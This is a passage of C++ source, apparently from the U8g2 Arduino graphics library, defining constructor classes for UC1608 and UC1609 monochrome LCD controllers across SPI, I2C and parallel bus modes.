U8G2_UC1608_ERC240120_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC240120_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1608_ERC240120_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC240120_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC240120_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC240120_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1608_ERC240120_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC240120_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1608_240X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1608_240X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1608_240X128_1_6800 : public U8G2 {\n  public: U8G2_UC1608_240X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_1_8080 : public U8G2 {\n  public: U8G2_UC1608_240X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1608_240X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1608_240X128_2_6800 : public U8G2 {\n  public: U8G2_UC1608_240X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_2_8080 : public U8G2 {\n  public: U8G2_UC1608_240X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1608_240X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_240X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1608_240X128_F_6800 : public U8G2 {\n  public: U8G2_UC1608_240X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_F_8080 : public U8G2 {\n  public: U8G2_UC1608_240X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_240x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_240X128_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1608_240X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_240x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1608_240X128_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_240X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_240x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1608_240X128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_240X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_240x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1608_240X128_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1608_240X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_240x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1608_240X128_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_240X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_240x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1608_240X128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_240X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_240x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1608_240X128_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1608_240X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_240x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1608_240X128_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_240X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_240x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1608_240X128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_240X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_240x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_1_6800 : public U8G2 {\n  public: U8G2_UC1609_SLG19264_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_1_8080 : public U8G2 {\n  public: U8G2_UC1609_SLG19264_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_2_6800 : public U8G2 {\n  public: U8G2_UC1609_SLG19264_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_2_8080 : public U8G2 {\n  public: U8G2_UC1609_SLG19264_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1609_SLG19264_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_F_6800 : public U8G2 {\n  public: U8G2_UC1609_SLG19264_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_F_8080 : public U8G2 {\n  public: U8G2_UC1609_SLG19264_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t 